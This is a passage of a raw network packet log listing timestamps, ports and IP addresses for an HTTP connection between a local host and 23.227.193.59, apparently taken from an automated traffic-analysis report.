Jul 15, 2024 00:48:36.115811110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115823030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115834951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115838051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115863085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115947008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115961075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115972042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115983963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.115988970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.115995884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116009951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116012096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116022110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116034031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116039991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116055012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116059065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116067886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116086006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116095066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116097927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116113901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116121054 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116127014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116139889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116148949 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116153002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116166115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116173983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116179943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116192102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116200924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116204977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116219044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116229057 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116256952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116578102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116590023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116600990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116612911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116625071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116632938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116645098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116652966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116657019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116667032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116669893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116683006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116693974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116707087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116717100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.116719007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116744995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.116760969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117156982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117170095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117182016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117193937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117202997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117208004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117221117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117228031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117264032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117460966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117472887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117484093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117496967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117506981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117507935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117521048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117531061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117535114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117548943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117561102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117568016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117573977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117587090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117589951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117599964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117614985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117639065 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117829084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117841005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117851019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117863894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117873907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117876053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117887974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117908955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117911100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117921114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117933035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117933035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117944956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117958069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117959976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117970943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117983103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.117985010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.117997885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118010998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118017912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118045092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118053913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118067026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118081093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118092060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118096113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118113041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118120909 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118124962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118144989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118149042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118164062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118176937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118187904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118190050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118201017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118205070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118213892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118227959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118230104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118240118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118252993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118263006 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118263960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118279934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118280888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118292093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118304014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118314028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118323088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118350029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118699074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118710995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118724108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.118733883 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118757010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.118761063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120079994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120121956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120136976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120150089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120162964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120182991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120218992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120229959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120243073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120254040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120254993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120277882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120353937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120366096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120378971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120390892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120395899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120404959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120417118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120420933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120429993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120438099 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120445967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120469093 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120475054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120496035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120507956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120523930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120523930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120537043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120552063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120574951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120606899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120618105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120630026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120641947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120646954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120654106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120666981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120678902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120691061 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120717049 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120774031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120788097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120799065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120810986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120817900 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120821953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120831966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120835066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120848894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120861053 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120862007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120876074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120886087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120888948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120902061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120914936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.120919943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.120943069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121016979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121059895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121084929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121098042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121118069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121131897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121140003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121143103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121165037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121176958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121176958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121189117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121200085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121202946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121215105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121227980 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121227980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121242046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.121243954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.121285915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.152040958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152054071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152064085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152112961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152123928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152134895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152141094 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.152144909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152157068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.152195930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.152215958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.157835007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157879114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157887936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157943010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157953024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157963037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.157974005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158106089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158107042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158118010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158130884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158138990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158147097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158149958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158164024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158175945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158176899 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158189058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158200979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158207893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158230066 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158236980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158246994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158248901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158258915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158271074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158282042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158286095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158294916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158308029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158310890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158320904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158337116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158359051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158368111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158377886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158395052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158406973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158410072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158417940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158430099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158441067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158448935 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158452988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158466101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158473969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158490896 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158514977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158526897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158539057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158549070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158551931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158565998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158576965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158576965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158588886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158603907 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158622980 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158624887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158637047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158648968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158660889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158673048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158674002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158684015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158696890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158700943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158710003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158719063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158746004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158751011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158762932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158782959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158793926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158804893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158806086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158818007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158826113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158832073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158842087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158852100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158853054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158890009 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158929110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158938885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158951044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158972025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158972979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.158984900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158997059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.158998013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159010887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159023046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159023046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159037113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159048080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159053087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159060001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159073114 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.159073114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159090996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.159100056 CEST	57614	80	192.168.2.5	23.227.193.59
